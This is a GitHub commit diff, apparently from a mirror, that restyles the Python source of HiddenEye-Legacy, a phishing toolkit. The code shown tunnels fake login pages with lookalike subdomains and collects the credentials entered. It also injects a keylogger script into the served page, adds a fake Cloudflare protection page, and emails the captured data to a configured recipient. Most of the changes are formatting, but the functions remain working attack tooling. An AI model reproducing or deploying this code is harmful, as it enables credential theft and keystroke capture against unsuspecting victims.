mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Merge pull request #747 from DarkSecDevelopers/restyled/dev
Restyle Merge Dev to Master
This commit is contained in:
commit
f4f28c6583
|
@ -335,8 +335,9 @@ def start_localxpose(port):
|
||||||
def custom(port):
|
def custom(port):
|
||||||
|
|
||||||
print(global_localization.small_logo)
|
print(global_localization.small_logo)
|
||||||
print("""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
|
print(
|
||||||
.format(default_palette[0], default_palette[2]))
|
"""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
|
||||||
|
.format(default_palette[0], default_palette[2]))
|
||||||
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
|
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
|
||||||
default_palette[0], default_palette[2]))
|
default_palette[0], default_palette[2]))
|
||||||
run_command(
|
run_command(
|
||||||
|
@ -575,4 +576,4 @@ def start_pagekite(port):
|
||||||
.format(port, subdomain))
|
.format(port, subdomain))
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print("[!] Please Copy the Generated Link For Further Use")
|
print("[!] Please Copy the Generated Link For Further Use")
|
||||||
credentials_collector(port)
|
credentials_collector(port)
|
||||||
|
|
|
@ -91,7 +91,9 @@ def terms_of_service_message():
|
||||||
agreement = license_handler()
|
agreement = license_handler()
|
||||||
if not agreement:
|
if not agreement:
|
||||||
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
||||||
print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
|
print(
|
||||||
|
localization.
|
||||||
|
lang_terms_of_service_message["great_power_great_responsibility"])
|
||||||
print(localization.
|
print(localization.
|
||||||
lang_terms_of_service_message["do_you_accept_license"])
|
lang_terms_of_service_message["do_you_accept_license"])
|
||||||
print(localization.
|
print(localization.
|
||||||
|
@ -207,7 +209,7 @@ def log_writer(ctx): # Writing log
|
||||||
log_file.write(
|
log_file.write(
|
||||||
ctx.replace(default_palette[0], "").replace(
|
ctx.replace(default_palette[0], "").replace(
|
||||||
default_palette[1], "").replace(default_palette[2], "").replace(
|
default_palette[1], "").replace(default_palette[2], "").replace(
|
||||||
default_palette[3], "").replace(default_palette[4], "") + "\n")
|
default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||||
print(ctx)
|
print(ctx)
|
||||||
|
|
||||||
|
|
||||||
|
@ -275,14 +277,16 @@ def verify_connection(
|
||||||
elif internet_choice == "n":
|
elif internet_choice == "n":
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
print(global_localization.hidden_eye_logo)
|
print(global_localization.hidden_eye_logo)
|
||||||
print(" " + global_localization.by_darksec)
|
print(" " +
|
||||||
|
global_localization.by_darksec)
|
||||||
print(" " +
|
print(" " +
|
||||||
global_localization.official_website_link)
|
global_localization.official_website_link)
|
||||||
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
||||||
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
||||||
|
print(localization.
|
||||||
|
lang_exit_message["make_your_pull_request_or_issue"])
|
||||||
print(
|
print(
|
||||||
localization.lang_exit_message["make_your_pull_request_or_issue"])
|
localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||||
print(localization.lang_exit_message["small_disclaimer_suggestion"])
|
|
||||||
print(localization.lang_exit_message["forum_suggestion"])
|
print(localization.lang_exit_message["forum_suggestion"])
|
||||||
print(localization.lang_exit_message["financial_support"])
|
print(localization.lang_exit_message["financial_support"])
|
||||||
print(localization.lang_exit_message["thank_you"])
|
print(localization.lang_exit_message["thank_you"])
|
||||||
|
|
|
@ -4,81 +4,96 @@
|
||||||
# This is free software, and you are welcome to redistribute it
|
# This is free software, and you are welcome to redistribute it
|
||||||
# under certain conditions; you can read LICENSE for details.
|
# under certain conditions; you can read LICENSE for details.
|
||||||
#
|
#
|
||||||
|
|
||||||
|
|
||||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile
|
|
||||||
import Defs.ThemeManager.theme as theme
|
import Defs.ThemeManager.theme as theme
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import base64
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import getpass
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import system
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||||
|
|
||||||
default_palette = theme.default_palette
|
default_palette = theme.default_palette
|
||||||
|
|
||||||
|
|
||||||
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
|
# Ask user to start sending credentials to recipient Email Address.
|
||||||
|
def captured_data_email_confirmation(port):
|
||||||
import Defs.ActionManager.simple_informant as simple_informant
|
import Defs.ActionManager.simple_informant as simple_informant
|
||||||
|
|
||||||
choice = input(
|
choice = input(
|
||||||
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(
|
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}"
|
||||||
default_palette[0], default_palette[4], default_palette[2])).upper()
|
.format(default_palette[0], default_palette[4],
|
||||||
if choice == 'Y' or choice == 'y':
|
default_palette[2])).upper()
|
||||||
if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py'):
|
if choice == "Y" or choice == "y":
|
||||||
system('python3 Defs/FeatureManager/EmailManager/SendEmail.py')
|
if path.isfile("Defs/FeatureManager/EmailManager/emailconfig.py"):
|
||||||
|
system("python3 Defs/FeatureManager/EmailManager/SendEmail.py")
|
||||||
else:
|
else:
|
||||||
print(
|
print(
|
||||||
'[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.')
|
"[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION."
|
||||||
|
)
|
||||||
wait(2)
|
wait(2)
|
||||||
simple_informant.exit_message(port)
|
simple_informant.exit_message(port)
|
||||||
elif choice == 'N' or choice == 'n':
|
elif choice == "N" or choice == "n":
|
||||||
simple_informant.exit_message(port)
|
simple_informant.exit_message(port)
|
||||||
else:
|
else:
|
||||||
system('clear')
|
system("clear")
|
||||||
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4],
|
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(
|
||||||
default_palette[2]))
|
default_palette[0], default_palette[4], default_palette[2]))
|
||||||
wait(1)
|
wait(1)
|
||||||
system('clear')
|
system("clear")
|
||||||
return captured_data_email_confirmation(port)
|
return captured_data_email_confirmation(port)
|
||||||
|
|
||||||
|
|
||||||
def captured_data_email_configuration_prompt():
|
def captured_data_email_configuration_prompt():
|
||||||
run_command('clear')
|
run_command("clear")
|
||||||
print('''{1}
|
print("""{1}
|
||||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{1}http://github.com/darksecdevelopers
|
{1}http://github.com/darksecdevelopers
|
||||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
{0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
|
||||||
|
default_palette[2]))
|
||||||
print(
|
print(
|
||||||
"-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(
|
"-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------"
|
||||||
default_palette[0], default_palette[4]))
|
.format(default_palette[0], default_palette[4]))
|
||||||
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
|
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||||
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py',
|
copyfile(
|
||||||
'Defs/FeatureManager/EmailManager/emailconfig.py')
|
"Defs/FeatureManager/EmailManager/EmailConfigDefault.py",
|
||||||
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
|
"Defs/FeatureManager/EmailManager/emailconfig.py",
|
||||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
)
|
||||||
|
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(
|
||||||
|
default_palette[0], default_palette[4]))
|
||||||
|
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||||
read_data = f.read()
|
read_data = f.read()
|
||||||
c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT)
|
c = read_data.replace("GMAILACCOUNT", GMAILACCOUNT)
|
||||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||||
f.write(c)
|
f.write(c)
|
||||||
f.close()
|
f.close()
|
||||||
print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
print("{0}[.] {1}Email Address Added To config File. !\n".format(
|
||||||
|
default_palette[0], default_palette[4]))
|
||||||
GMAILPASSWORD = getpass.getpass(
|
GMAILPASSWORD = getpass.getpass(
|
||||||
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4]))
|
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(
|
||||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
default_palette[0], default_palette[4]))
|
||||||
|
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||||
read_data = f.read()
|
read_data = f.read()
|
||||||
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
|
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
|
||||||
GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8'))
|
GMAILPASSWORD = GMAILPASSWORD.decode("utf-8")
|
||||||
c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD)
|
c = read_data.replace("GMAILPASSWORD", GMAILPASSWORD)
|
||||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||||
f.write(c)
|
f.write(c)
|
||||||
f.close()
|
f.close()
|
||||||
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(
|
||||||
RECIPIENTEMAIL = input(
|
default_palette[0], default_palette[4]))
|
||||||
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4]))
|
RECIPIENTEMAIL = input("{0}[{1}+{0}] Enter Recipient Email:{1} ".format(
|
||||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
default_palette[0], default_palette[4]))
|
||||||
|
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||||
read_data = f.read()
|
read_data = f.read()
|
||||||
c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL)
|
c = read_data.replace("RECIPIENTEMAIL", RECIPIENTEMAIL)
|
||||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||||
f.write(c)
|
f.write(c)
|
||||||
f.close()
|
f.close()
|
||||||
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0],
|
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".
|
||||||
default_palette[4]))
|
format(default_palette[0], default_palette[4]))
|
||||||
print(
|
print(
|
||||||
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(
|
"\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)"
|
||||||
default_palette[0], default_palette[4]))
|
.format(default_palette[0], default_palette[4]))
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
|
|
@ -4,10 +4,13 @@
|
||||||
# This is free software, and you are welcome to redistribute it
|
# This is free software, and you are welcome to redistribute it
|
||||||
# under certain conditions; you can read LICENSE for details.
|
# under certain conditions; you can read LICENSE for details.
|
||||||
#
|
#
|
||||||
|
|
||||||
|
|
||||||
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, pathlib_Path, replace, copyfile, chmod
|
|
||||||
import Defs.ThemeManager.theme as theme
|
import Defs.ThemeManager.theme as theme
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import replace
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||||
|
|
||||||
default_palette = theme.default_palette
|
default_palette = theme.default_palette
|
||||||
|
|
||||||
|
@ -15,15 +18,16 @@ default_palette = theme.default_palette
|
||||||
def add_cloudfare():
|
def add_cloudfare():
|
||||||
# run_command('mv Server/www/index.* Server/www/home.php &
|
# run_command('mv Server/www/index.* Server/www/home.php &
|
||||||
# & cp WebPages/cloudfare.html Server/www/index.html')
|
# & cp WebPages/cloudfare.html Server/www/index.html')
|
||||||
chmod('Server', 0o777)
|
chmod("Server", 0o777)
|
||||||
chmod('Server/www', 0o777)
|
chmod("Server/www", 0o777)
|
||||||
try:
|
try:
|
||||||
replace('Server/www/index.php', 'Server/www/home.php')
|
replace("Server/www/index.php", "Server/www/home.php")
|
||||||
except:
|
except:
|
||||||
replace('Server/www/index.html', 'Server/www/home.php')
|
replace("Server/www/index.html", "Server/www/home.php")
|
||||||
else:
|
else:
|
||||||
print('Unable to find index file, skipping...')
|
print("Unable to find index file, skipping...")
|
||||||
return
|
return
|
||||||
copyfile('WebPages/cloudflare.html', 'Server/www/index.html')
|
copyfile("WebPages/cloudflare.html", "Server/www/index.html")
|
||||||
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4]))
|
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(
|
||||||
|
default_palette[0], default_palette[4]))
|
||||||
wait(1)
|
wait(1)
|
||||||
|
|
|
@ -4,16 +4,15 @@
|
||||||
# This is free software, and you are welcome to redistribute it
|
# This is free software, and you are welcome to redistribute it
|
||||||
# under certain conditions; you can read LICENSE for details.
|
# under certain conditions; you can read LICENSE for details.
|
||||||
#
|
#
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
|
|
||||||
import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
|
|
||||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
|
||||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
|
||||||
import Defs.ThemeManager.theme as theme
|
|
||||||
import Defs.FeatureManager.cloudflare as cloudflare
|
import Defs.FeatureManager.cloudflare as cloudflare
|
||||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||||
import Defs.FeatureManager.keylogger as keylogger
|
import Defs.FeatureManager.keylogger as keylogger
|
||||||
from time import sleep
|
import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
|
||||||
|
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||||
|
import Defs.ThemeManager.theme as theme
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||||
|
|
||||||
default_palette = theme.default_palette
|
default_palette = theme.default_palette
|
||||||
|
|
||||||
|
@ -43,4 +42,3 @@ def feature_prompt():
|
||||||
print(global_localization.invalid_option)
|
print(global_localization.invalid_option)
|
||||||
sleep(3)
|
sleep(3)
|
||||||
feature_prompt()
|
feature_prompt()
|
||||||
|
|
||||||
|
|
|
@ -4,33 +4,34 @@
|
||||||
# This is free software, and you are welcome to redistribute it
|
# This is free software, and you are welcome to redistribute it
|
||||||
# under certain conditions; you can read LICENSE for details.
|
# under certain conditions; you can read LICENSE for details.
|
||||||
#
|
#
|
||||||
|
|
||||||
|
|
||||||
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, path
|
|
||||||
import Defs.ThemeManager.theme as theme
|
import Defs.ThemeManager.theme as theme
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||||
|
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||||
|
|
||||||
default_palette = theme.default_palette
|
default_palette = theme.default_palette
|
||||||
|
|
||||||
|
|
||||||
def add_keylogger():
|
def add_keylogger():
|
||||||
if path.exists('Server/www/index.html'):
|
if path.exists("Server/www/index.html"):
|
||||||
with open('Server/www/index.html') as f:
|
with open("Server/www/index.html") as f:
|
||||||
read_data = f.read()
|
read_data = f.read()
|
||||||
c = read_data.replace(
|
c = read_data.replace("</title>",
|
||||||
'</title>', '</title><script src="keylogger.js"></script>')
|
'</title><script src="keylogger.js"></script>')
|
||||||
f = open('Server/www/index.html', 'w')
|
f = open("Server/www/index.html", "w")
|
||||||
f.write(c)
|
f.write(c)
|
||||||
f.close()
|
f.close()
|
||||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
|
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
||||||
|
default_palette[0], default_palette[4]))
|
||||||
wait(2)
|
wait(2)
|
||||||
else:
|
else:
|
||||||
with open('Server/www/index.php') as f:
|
with open("Server/www/index.php") as f:
|
||||||
read_data = f.read()
|
read_data = f.read()
|
||||||
c = read_data.replace(
|
c = read_data.replace("</title>",
|
||||||
'</title>', '</title><script src="keylogger.js"></script>')
|
'</title><script src="keylogger.js"></script>')
|
||||||
f = open('Server/www/index.php', 'w')
|
f = open("Server/www/index.php", "w")
|
||||||
f.write(c)
|
f.write(c)
|
||||||
f.close()
|
f.close()
|
||||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
|
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
||||||
|
default_palette[0], default_palette[4]))
|
||||||
wait(2)
|
wait(2)
|
||||||
|
|
||||||
|
|
|
@ -5,11 +5,11 @@
|
||||||
# under certain conditions; you can read LICENSE for details.
|
# under certain conditions; you can read LICENSE for details.
|
||||||
#
|
#
|
||||||
import base64
|
import base64
|
||||||
import stat
|
|
||||||
import getpass
|
import getpass
|
||||||
import platform
|
import platform
|
||||||
import re as regular_expression
|
import re as regular_expression
|
||||||
import socket
|
import socket
|
||||||
|
import stat
|
||||||
from distutils.dir_util import copy_tree as webpage_set
|
from distutils.dir_util import copy_tree as webpage_set
|
||||||
from io import BytesIO
|
from io import BytesIO
|
||||||
from os import chdir
|
from os import chdir
|
||||||
|
|
|
@ -4,8 +4,6 @@
|
||||||
# This is free software, and you are welcome to redistribute it
|
# This is free software, and you are welcome to redistribute it
|
||||||
# under certain conditions; you can read LICENSE for details.
|
# under certain conditions; you can read LICENSE for details.
|
||||||
#
|
#
|
||||||
|
|
||||||
|
|
||||||
import Defs.ThemeManager.theme as theme
|
import Defs.ThemeManager.theme as theme
|
||||||
|
|
||||||
default_palette = theme.default_palette
|
default_palette = theme.default_palette
|
||||||
|
@ -14,4 +12,6 @@ default_palette = theme.default_palette
|
||||||
def print_sorted_as_menu(sorting_list):
|
def print_sorted_as_menu(sorting_list):
|
||||||
col_width = max(len(word) for row in sorting_list for word in row) + 2
|
col_width = max(len(word) for row in sorting_list for word in row) + 2
|
||||||
for row in sorting_list:
|
for row in sorting_list:
|
||||||
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
|
print("".join(word.ljust(col_width)
|
||||||
|
for word in row).format(default_palette[0],
|
||||||
|
default_palette[2]))
|
||||||
|
|
|
@ -48,11 +48,11 @@ lang_verify_connection = {
|
||||||
_("\n{0}[{1}!{0}] Network error. You are disconnected from the internet.").
|
_("\n{0}[{1}!{0}] Network error. You are disconnected from the internet.").
|
||||||
format(default_palette[2], default_palette[0]),
|
format(default_palette[2], default_palette[0]),
|
||||||
"continue_warning":
|
"continue_warning":
|
||||||
_("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection.").format(
|
_("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection."
|
||||||
default_palette[2], default_palette[0]),
|
).format(default_palette[2], default_palette[0]),
|
||||||
"continue_confirmation":
|
"continue_confirmation":
|
||||||
_("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format(
|
_("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format(
|
||||||
default_palette[2], default_palette[0])
|
default_palette[2], default_palette[0]),
|
||||||
}
|
}
|
||||||
|
|
||||||
lang_module_loading_message = {
|
lang_module_loading_message = {
|
||||||
|
|
|
@ -4,26 +4,29 @@
|
||||||
# This is free software, and you are welcome to redistribute it
|
# This is free software, and you are welcome to redistribute it
|
||||||
# under certain conditions; you can read LICENSE for details.
|
# under certain conditions; you can read LICENSE for details.
|
||||||
#
|
#
|
||||||
|
|
||||||
|
|
||||||
import Defs.ThemeManager.theme as theme
|
import Defs.ThemeManager.theme as theme
|
||||||
from Defs.LocalizationManager.localization import _
|
from Defs.LocalizationManager.localization import _
|
||||||
|
|
||||||
default_palette = theme.default_palette
|
default_palette = theme.default_palette
|
||||||
|
|
||||||
feature_prompt = {
|
feature_prompt = {
|
||||||
"feature_alert":
|
"feature_alert":
|
||||||
_(
|
_("---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD "
|
||||||
"---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD "
|
"LIKE TO USE. ]{1} {0}\n---------------------------------------------------------"
|
||||||
"LIKE TO USE. ]{1} {0}\n---------------------------------------------------------".format(
|
.format(default_palette[0], default_palette[4])),
|
||||||
default_palette[0], default_palette[4])),
|
|
||||||
"keylogger":
|
"keylogger":
|
||||||
_("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(default_palette[0], default_palette[2])),
|
_("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(
|
||||||
|
default_palette[0], default_palette[2])),
|
||||||
"cloudfare":
|
"cloudfare":
|
||||||
_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(default_palette[0], default_palette[2])),
|
_("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(
|
||||||
|
default_palette[0], default_palette[2])),
|
||||||
"email":
|
"email":
|
||||||
_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(default_palette[0], default_palette[2])),
|
_("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(
|
||||||
|
default_palette[0], default_palette[2])),
|
||||||
"none":
|
"none":
|
||||||
_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(default_palette[0], default_palette[2])),
|
_("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(
|
||||||
|
default_palette[0], default_palette[2])),
|
||||||
"example":
|
"example":
|
||||||
_('\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}'.format(default_palette[0], default_palette[2]))
|
_("\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}"
|
||||||
}
|
.format(default_palette[0], default_palette[2])),
|
||||||
|
}
|
||||||
|
|
|
@ -4,9 +4,8 @@
|
||||||
# This is free software, and you are welcome to redistribute it
|
# This is free software, and you are welcome to redistribute it
|
||||||
# under certain conditions; you can read LICENSE for details.
|
# under certain conditions; you can read LICENSE for details.
|
||||||
#
|
#
|
||||||
|
|
||||||
|
|
||||||
import Defs.ThemeManager.theme as theme
|
import Defs.ThemeManager.theme as theme
|
||||||
|
|
||||||
default_palette = theme.default_palette
|
default_palette = theme.default_palette
|
||||||
|
|
||||||
hidden_eye_logo = """
|
hidden_eye_logo = """
|
||||||
|
@ -14,16 +13,20 @@ hidden_eye_logo = """
|
||||||
{1} ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {2}██ ██ ██ ██ {0}
|
{1} ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {2}██ ██ ██ ██ {0}
|
||||||
{1} ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {2}███████ ████ ███████ {0}
|
{1} ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {2}███████ ████ ███████ {0}
|
||||||
{1} ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {2}██ ██ ██ {0}
|
{1} ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {2}██ ██ ██ {0}
|
||||||
{1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format(default_palette[4], default_palette[2], default_palette[0])
|
{1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format(
|
||||||
|
default_palette[4], default_palette[2], default_palette[0])
|
||||||
|
|
||||||
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2])
|
input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0],
|
||||||
official_website_link = '{0}https://dark-sec-official.com'.format(default_palette[0])
|
default_palette[2])
|
||||||
by_darksec = '{0}** BY:DARKSEC **'.format(default_palette[0])
|
official_website_link = "{0}https://dark-sec-official.com".format(
|
||||||
line_of_dots = '{0}...............................'.format(default_palette[0])
|
default_palette[0])
|
||||||
small_logo = '''{1}
|
by_darksec = "{0}** BY:DARKSEC **".format(default_palette[0])
|
||||||
|
line_of_dots = "{0}...............................".format(default_palette[0])
|
||||||
|
small_logo = """{1}
|
||||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{1}http://github.com/darksecdevelopers
|
{1}http://github.com/darksecdevelopers
|
||||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])
|
{0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
|
||||||
invalid_option = "Please choose a valid option."
|
default_palette[2])
|
||||||
|
invalid_option = "Please choose a valid option."
|
||||||
|
|
|
@ -4,10 +4,8 @@
|
||||||
# This is free software, and you are welcome to redistribute it
|
# This is free software, and you are welcome to redistribute it
|
||||||
# under certain conditions; you can read LICENSE for details.
|
# under certain conditions; you can read LICENSE for details.
|
||||||
#
|
#
|
||||||
|
|
||||||
|
|
||||||
import gettext
|
import gettext
|
||||||
|
|
||||||
gettext.bindtextdomain('HiddenEye', 'locale')
|
gettext.bindtextdomain("HiddenEye", "locale")
|
||||||
gettext.textdomain('HiddenEye')
|
gettext.textdomain("HiddenEye")
|
||||||
_ = gettext.gettext
|
_ = gettext.gettext
|
||||||
|
|
|
@ -5,5 +5,10 @@
|
||||||
# under certain conditions; you can read LICENSE for details.
|
# under certain conditions; you can read LICENSE for details.
|
||||||
#
|
#
|
||||||
|
|
||||||
|
default_palette = [
|
||||||
default_palette = ['\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'] # TODO Will be replaced later,
|
"\033[91m",
|
||||||
|
"\033[46m",
|
||||||
|
"\033[36m",
|
||||||
|
"\033[1;32m",
|
||||||
|
"\033[0m",
|
||||||
|
] # TODO Will be replaced later,
|
||||||
|
|
|
@ -4,10 +4,10 @@
|
||||||
# This is free software, and you are welcome to redistribute it
|
# This is free software, and you are welcome to redistribute it
|
||||||
# under certain conditions; you can read LICENSE for details.
|
# under certain conditions; you can read LICENSE for details.
|
||||||
#
|
#
|
||||||
|
|
||||||
import multiprocessing
|
import multiprocessing
|
||||||
import ssl
|
import ssl
|
||||||
from os import environ
|
from os import environ
|
||||||
|
|
||||||
